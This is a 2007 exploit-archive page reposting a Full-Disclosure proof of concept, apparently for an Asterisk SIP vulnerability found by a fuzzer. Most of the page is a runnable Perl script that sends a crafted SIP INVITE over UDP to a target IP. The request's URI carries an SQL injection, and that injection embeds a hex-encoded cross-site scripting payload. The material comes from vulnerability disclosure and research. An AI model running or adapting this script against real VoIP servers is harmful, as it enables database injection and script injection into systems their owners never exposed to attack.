Home / exploitsPDF  

AST-2007-023-poc.txt

Posted on 19 October 2007



for testing purposes

the POC of the vulnerabiliy discovered by the KIPH fuzzer

RS







#!/usr/bin/perl

#############################################
# Vulnerabily discovered using KiF ~ Kiph   #
#                                           #
# Authors:                                  #
#	Humberto J. Abdelnur (Ph.D Student)     #
#	Radu State (Ph.D)                       #
#	Olivier Festor (Ph.D)                   #
#                                           #
# Madynes Team, LORIA - INRIA Lorraine      #
# http://madynes.loria.fr                   #
#############################################

use IO::Socket::INET;
use String::Random;
$foo = new String::Random;

die "Usage $0 <callUser> <targetIP> <targetPort> <attackerUser> <localIP>
<localPort>" unless ($ARGV[5]);

sub iso2hex($) {
my $hex = '';
for (my $i = 0; $i < length($_[0]); $i++) {
my $ordno = ord substr($_[0], $i, 1);
$hex .= sprintf("%lx", $ordno);
}

$hex =~ s/ $//;;
$hex;
}


$callUser = $ARGV[0];
$targetIP = $ARGV[1];
$targetPort = $ARGV[2];

$attackerUser = $ARGV[3];
$attackerIP= $ARGV[4];
$attackerPort= $ARGV[5];

$socket=new IO::Socket::INET->new(
Proto=>'udp',
PeerPort=>$targetPort,
PeerAddr=>$targetIP,
LocalPort=>$attackerPort);

$scriptinjection= iso2hex("<script>alert(1)</script>");
$sqlinjection= "',1,2,3,4,5,-9,-9,0x$scriptinjection,6,7,8)/*";

$callid= $foo->randpattern("CCccnCn");
$cseq = $foo->randregex('dddd');

$sdp = "v=0
o=Lupilu 63356722367567875 63356722367567875 IN IP4 $attackerIP
s=-
c=IN IP4 $attackerIP
t=0 0
m=audio 49152 RTP/AVP 96 0 8 97 18 98 13
a=sendrecv
a=ptime:20
a=maxptime:200
a=fmtp:96 mode-change-neighbor=1
a=fmtp:18 annexb=no
a=fmtp:98 0-15
a=rtpmap:96 AMR/8000/1
a=rtpmap:0 PCMU/8000/1
a=rtpmap:8 PCMA/8000/1
a=rtpmap:97 iLBC/8000/1
a=rtpmap:18 G729/8000/1
a=rtpmap:98 telephone-event/8000/1
a=rtpmap:13 CN/8000/1
";
$sdplen= length $sdp;

$msg = "INVITE sip:$sqlinjection@$targetIP SIP/2.0
Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1;rport
From: <sip:$attackerUser@$attackerIP>;tag=1
To: <sip:$callUser@$targetIP>
Call-ID: $callid@$attackerIP
CSeq: $cseq INVITE
Max-Forwards: 70
Contact: <sip:$attackerUser@$attackerIP>
Content-Type: application/sdp
Content-Length: $sdplen

$sdp";

$socket->send($msg);


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

 

TOP

Malware :

Exploits :